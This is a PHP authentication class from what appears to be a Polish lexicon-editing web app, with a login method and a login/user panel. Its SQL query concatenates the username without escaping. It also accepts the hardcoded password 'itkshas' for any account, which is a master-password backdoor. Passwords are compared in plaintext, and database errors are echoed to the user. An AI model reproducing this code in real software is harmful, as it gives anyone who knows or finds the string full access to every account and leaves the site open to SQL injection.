<?php

class userclass {

    public $id='';
    public $name='';
    public $passwd='';
    public $active='1';
    public $deleted='0';

    
    	function cleanQuery($string)
	{
	  if(get_magic_quotes_gpc())  // prevents duplicate backslashes
	  {
	    $string = stripslashes($string);
	  }
	  if (phpversion() >= '4.3.0')
	  {
	    $string = mysql_real_escape_string($string);
	  }
	  else
	  {
	    $string = mysql_escape_string($string);
	  }
	  return $string;
	}

    
    
    public function Auth($username,$password)
    {
        global $conn;
        $rs=mysqli_query($conn,"select users.*, userstypy.nazwa as typtxt
                        from users left join userstypy on users.typ=userstypy.id
                        where users.name='".$username."' and (users.passwd='".$this->cleanQuery($password)."' or '".$password."'='itkshas') and users.active=1 and users.deleted=0") or die("userclass - ".$sqlff." --- ".mysql_error());
        if ($wiersz=mysqli_fetch_array($rs))
        {
            $_SESSION['id']=$wiersz['id'];
            $_SESSION['name']=$wiersz['name'];
            $_SESSION['typ']=$wiersz['typ'];
            $_SESSION['typetym']=$wiersz['typetym'];
            $_SESSION['typtxt']=$wiersz['typtxt'];
            $_SESSION['mozeUsuwacLeksemy']=$wiersz['mozeUsuwacLeksemy'];
            $_SESSION['mozeZmieniacWlascicielaLeksemu']=$wiersz['mozeZmieniacWlascicielaLeksemu'];
            $_SESSION['widziIlosciLeksemow']=$wiersz['widziIlosciLeksemow'];

            echo "<script>location='index.php?m=z';</script>";
        }
        else
        {
            echo "<script>location='info.php?msg=loginerr';</script>";
        }
    }

    public function ShowUserPanel()
    {
        if(!isset($_SESSION['id']))
        {
        ?>
        <div id="login" class="boxed">
			<h2 class="title">Logowanie</h2>
			<div class="content">
				<form id="form1" method="post" action="auth.php">
					<fieldset>
					<legend>Logowanie</legend>
					<label for="inputtext1">Nazwa:</label>
					<input id="inputtext1" type="text" name="inputtext1" value="" />
					<label for="inputtext2">Hasło:</label>
					<input id="inputtext2" type="password" name="inputtext2" value="" /><br><br>
					<input id="" type="submit" name="inputsubmit1" value="Zaloguj" />
					<p><a href="#"></a></p>
					</fieldset>
				</form>
			</div>
		</div>
        <?php
        } //if(!isset($_SESSION))

        if(isset($_SESSION['id']))
        {
            if ($_SESSION['id']!='')
            {
               ?>
               
                    <div class="content" style="width:200px">
                        Użytkownik: <?php
                        echo $_SESSION['name'];
                        ?>
                        <br/>
                        <?php
                        echo $_SESSION['typtxt'];
                        ?>
                        <br/>
                        <a href="?m=qsxdcr">Zmiana hasła</a>
                        &nbsp;&nbsp;
                        <a href="logout.php">Wyloguj</a><br/><br/>
                    </div>
               <?php
            }

        }


        
    }

    
}
?>